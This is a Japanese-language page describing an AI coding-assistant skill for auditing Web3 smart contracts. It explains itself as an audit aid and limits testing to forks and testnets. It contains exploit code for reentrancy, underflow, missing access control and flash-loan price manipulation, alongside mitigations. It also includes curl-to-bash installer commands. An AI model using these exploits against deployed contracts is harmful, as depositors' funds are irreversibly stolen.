exploiting-web3-smart-contracts について
スマートコントラクト監査担当者や Web3 テスター向けのセキュリティスキルで、コントラクト、DeFi プロトコル、NFT プラットフォームの脆弱性分析を扱います。攻撃例と緩和策を示し、実際のコントラクトではなくフォークやテストネットで検証する方針を重視しています。
主な機能
- 01一般的なコントラクト脆弱性の確認
- 02DeFi と NFT の攻撃パターンの解説
- 03Solidity の例と緩和策の提示
- 04分析・テストツールの参照
- 05フォークとテストネットでの検証
活用シーン
- 01コントラクトのアクセス制御不備の評価
- 02シミュレーション環境での DeFi ロジック検証
- 03オラクル操作とフロントランニングの確認
- 04NFT のミントとメタデータのリスク評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill exploiting-web3-smart-contractsインストール後、Claude Code で/exploiting-web3-smart-contractsを入力して読み込まれたか確認します。
同梱ファイルreferences/tooling-and-testing.md
詳細
Web3 とスマートコントラクトの悪用
使用する場面
- スマートコントラクトのセキュリティ監査
- DeFi プロトコルのテスト
- Web3 アプリケーションのペネトレーションテスト
- ブロックチェーンの脆弱性評価
- NFT プラットフォームのセキュリティ
対象範囲と許可。 デプロイ済みのメインネットコントラクトはテスト対象ではありません。 他人の資金を預かる稼働中のシステムであり、パーミッションレスなので技術的には誰でも操作できます。また、一度トランザクションを実行すると取り消せません。 しかし、だからといって悪用が許可されるわけではありません。
- メインネットには触れず、必ずフォークを使ってください。 すべての発見事項は、ローカルフォーク (Anvil、Hardhat、Tenderly)またはテストネットへのデプロイで実証してください。 稼働中のコントラクトに対して実際にエクスプロイトを実行する正当な理由はありません。
- この分野の法律は未確定です。これは安心材料ではなく、慎重になるべき理由です。 注目を集めた2件の刑事事件では、エクスプロイトを実行した側に有利な判断が下されました。2023年12月、パリの裁判所はPlatypus Financeの2人を無罪とし、公開スマートコントラクトの呼び出しは不正アクセスに当たらず、緊急出金の操作も詐欺の基準を満たさないと判断しました。また2025年5月、米国の判事は、裁判地と不実表示の証拠不十分を理由にAvraham EisenbergのMango Marketsに関する有罪判決を取り消しました。検察はこの判断を不服として控訴しています。これらを許可と解釈してはいけません。どちらも管轄区域固有の事情に基づく判断であり、Platypusの裁判所は民事責任の可能性を明示的に残しました。また、これらの事件ではいずれも、被告は逮捕され、資金を差し押さえられ、勝訴するまで何年も訴訟を続けました。最終的に勝訴することと、許可を得ていることは同じではありません。
- バグ報奨金プログラムの対象範囲は限定的で、文言どおりに解釈する必要があります。 Immunefi形式のプログラムでは通常、フォーク上での実証が求められ、メインネットでの悪用や実ユーザーへの影響は禁止されており、報告経路も指定されています。テストの後ではなく、前に個別のプログラムの対象範囲を確認してください。
- 未監査 ≠ 放棄済み。 匿名のデプロイ者や活動していないデプロイ者がいるからといって、コントラクトが無主物になるわけではありません。預金者は今も特定可能な被害者です。
所有していないコントラクトについては、ソースコードとシミュレーションのみを使用し、プロジェクトが公開している窓口または調整プラットフォームを通じて開示してください。
使用しない場面
- dApp のフロントエンドまたはバックエンドにおける従来型のウェブ脆弱性 —
testing-web-applicationsとauditing-code-for-vulnerabilitiesを使用してください - 暗号プリミティブのレビュー —
reviewing-cryptographyを使用してください - 監査レポートの作成 —
reporting-security-findingsを使用してください
環境のセットアップ
ツールのインストール:
# Node.js and npm
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs
# Hardhat (Ethereum development)
npm install --save-dev hardhat
# Foundry (Rust-based toolkit)
curl -L https://foundry.paradigm.xyz | bash
foundryup
# Slither (static analysis)
pip3 install slither-analyzer
# Mythril (security analysis)
pip3 install mythril
ネットワークへの接続:
// Ethereum Mainnet via Infura
const Web3 = require('web3');
const web3 = new Web3('https://mainnet.infura.io/v3/YOUR_KEY');
// Local development (Hardhat/Ganache)
const web3 = new Web3('http://127.0.0.1:8545');
よくあるスマートコントラクトの脆弱性
1. リエントランシー
脆弱なコントラクト:
contract Vulnerable {
mapping(address => uint) public balances;
function withdraw() public {
uint amount = balances[msg.sender];
// Vulnerable: external call before state update
(bool success,) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] = 0; // State update after call
}
}
エクスプロイト:
contract Attack {
Vulnerable victim;
constructor(address _victim) {
victim = Vulnerable(_victim);
}
function attack() public payable {
victim.deposit{value: 1 ether}();
victim.withdraw();
}
fallback() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdraw(); // Reenter
}
}
}
防止策:
- Checks-Effects-Interactions パターン
- ReentrancyGuard 修飾子
- call() の代わりに transfer() を使用する
2. 整数のオーバーフロー/アンダーフロー
脆弱な例(Solidity < 0.8.0):
function transfer(address _to, uint256 _value) public {
require(balances[msg.sender] - _value >= 0); // Can underflow
balances[msg.sender] -= _value;
balances[_to] += _value; // Can overflow
}
エクスプロイト:
// Send more tokens than you have
// balances[msg.sender] = 1
// _value = 2
// 1 - 2 = 2^256 - 1 (underflow)
防止策:
- Solidity >= 0.8.0 を使用する(自動チェック)
- SafeMath ライブラリを使用する
- 手動でオーバーフローをチェックする
3. アクセス制御の問題
脆弱な例:
function withdraw() public {
// Missing access control!
msg.sender.transfer(address(this).balance);
}
function setOwner(address _owner) public {
owner = _owner; // Anyone can become owner
}
エクスプロイト:
// Call withdraw from any address
await contract.withdraw();
// Become owner
await contract.setOwner(attackerAddress);
防止策:
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function withdraw() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
4. 外部呼び出しの戻り値未確認
脆弱な例:
function callExternal(address target) public {
target.call(""); // Return value not checked
}
function sendEther(address payable recipient) public {
recipient.send(1 ether); // Silently fails if send() returns false
}
防止策:
(bool success,) = target.call("");
require(success, "Call failed");
5. Delegatecall インジェクション
脆弱な例:
function forward(address _target, bytes memory _data) public {
_target.delegatecall(_data); // Executes in contract's context
}
エクスプロイト:
// Attacker can modify contract storage
// Call selfdestruct()
// Change owner
防止策:
- ユーザーが制御するアドレスへの delegatecall を避ける
- 許可する対象をホワイトリストに登録する
- 代わりにライブラリを使用する
6. フロントランニング/MEV
シナリオ:
// DEX swap at specific price
function swap(uint256 amountIn) public {
uint256 amountOut = getAmountOut(amountIn);
// Attacker sees this in mempool
// Submits transaction with higher gas to execute first
// Changes the price before victim's tx
}
MEV 攻撃:
- フロントランニング
- バックランニング
- サンドイッチ攻撃
- 清算
- アービトラージ
緩和策:
- コミット・リビール方式
- プライベートメンプール(Flashbots)
- スリッページ保護
- オンチェーンでの情報開示を最小限にする
7. 価格オラクルの操作
脆弱な例:
// Using single DEX as price source
function getPrice() public view returns (uint256) {
return uniswapPair.getReserves();
}
エクスプロイト:
// Flash loan attack
// 1. Borrow large amount
// 2. Manipulate DEX price
// 3. Interact with vulnerable contract
// 4. Repay flash loan
// 5. Profit
防止策:
- 時間加重平均価格(TWAP)を使用する
- 複数のオラクルソースを使用する(Chainlink)
- 価格更新を遅延させる
- 価格の最小値/最大値を設定する
8. サービス拒否攻撃
脆弱なコード:
function distribute() public {
for (uint i = 0; i < users.length; i++) {
users[i].transfer(amount); // Can run out of gas
}
}
function withdraw() public {
// Winner takes all
require(msg.sender == topBidder);
msg.sender.transfer(address(this).balance);
}
攻撃方法:
- Ether を拒否するコントラクトを作成する(フォールバックでリバートする)
- 最高入札者になる
- 誰も勝者になれないようにする
防止策:
- プッシュ方式ではなくプル方式を採用する
- ガス制限を設ける
- 緊急停止の仕組みを導入する
監査ツール
Slither、Mythril、Securify、Echidna、Manticore の詳細なツール別コマンドリファレンス、および Hardhat/Foundry のテストフレームワークについては、 references/tooling-and-testing.md を参照してください。
DeFi 固有の攻撃
フラッシュローン攻撃
interface IFlashLoan {
function flashLoan(uint256 amount) external;
}
contract FlashLoanExploit {
function exploit() external {
// 1. Borrow flash loan
IFlashLoan(lender).flashLoan(1000000 ether);
}
function executeOperation(uint256 amount) external {
// 2. Manipulate price oracle
// 3. Exploit vulnerable contract
// 4. Repay flash loan + fee
// 5. Keep profit
}
}
インパーマネントロスの悪用
- プールの比率を操作する
- 流動性提供者から価値を引き出す
- 価格差を利用して裁定取引を行う
ガバナンス攻撃
// Flash loan to get voting power
// Vote on malicious proposal
// Execute immediately
// Repay loan
Web3 フロントエンドの脆弱性
ウォレット接続:
// Vulnerable: No signature verification
const signature = await signer.signMessage(message);
// Attacker can replay signature
// Secure: Include nonce and timestamp
const message = `Nonce: ${nonce}\nTimestamp: ${timestamp}`;
トランザクションのシミュレーション:
// Before sending transaction
const result = await contract.callStatic.functionName(args);
// Verify expected outcome
ブロックチェーンのフォレンジック
Etherscan API:
# Get contract source
curl "https://api.etherscan.io/api?module=contract&action=getsourcecode&address=0x..."
# Get transactions
curl "https://api.etherscan.io/api?module=account&action=txlist&address=0x..."
トランザクション分析:
// Get transaction
const tx = await web3.eth.getTransaction(txHash);
// Get receipt
const receipt = await web3.eth.getTransactionReceipt(txHash);
// Decode input data
const decoded = contract.interface.parseTransaction({ data: tx.input });
イベントのモニタリング:
// Listen for events
contract.on("Transfer", (from, to, amount) => {
console.log(`Transfer: ${from} -> ${to}: ${amount}`);
});
// Past events
const events = await contract.queryFilter("Transfer", fromBlock, toBlock);
NFT 固有の脆弱性
メタデータの操作:
- メタデータを一元管理するストレージ
- 変更可能な tokenURI
- IPFS のピン留めに関する問題
ミントの悪用:
// Reentrancy in minting
function mint() external payable {
require(msg.value == price);
(bool success,) = owner.call{value: msg.value}(""); // Vulnerable
_mint(msg.sender, tokenId++);
}
ロイヤリティの回避:
- NFT の直接転送
- マーケットプレイス手数料の回避
- ウォッシュトレード
メインネットフォークでのテスト
Hardhat と Foundry のメインネットフォーク設定については、 references/tooling-and-testing.md に記載されています。
ツールの概要
分析:
- Slither - 静的解析ツール
- Mythril - セキュリティスキャナー
- Manticore - シンボリック実行ツール
- Echidna - ファザー
開発:
- Hardhat - 開発環境
- Foundry - Rust ベースのツールキット
- Remix - オンライン IDE
- Truffle - 開発フレームワーク
モニタリング:
- Etherscan - ブロックエクスプローラー
- Tenderly - デバッグプラットフォーム
- OpenZeppelin Defender - セキュリティモニタリング
セキュリティのベストプラクティス
- 最新の Solidity を使用する(>= 0.8.0)
- Checks-Effects-Interactions パターンに従う
- 外部呼び出しを制限する
- すべての入力を検証する
- 実績のあるライブラリ(OpenZeppelin)を使用する
- アクセス制御を実装する
- 緊急停止機能を追加する
- 専門家による監査を受ける
- テストネットを十分に活用する
- デプロイ後もコントラクトをモニタリングする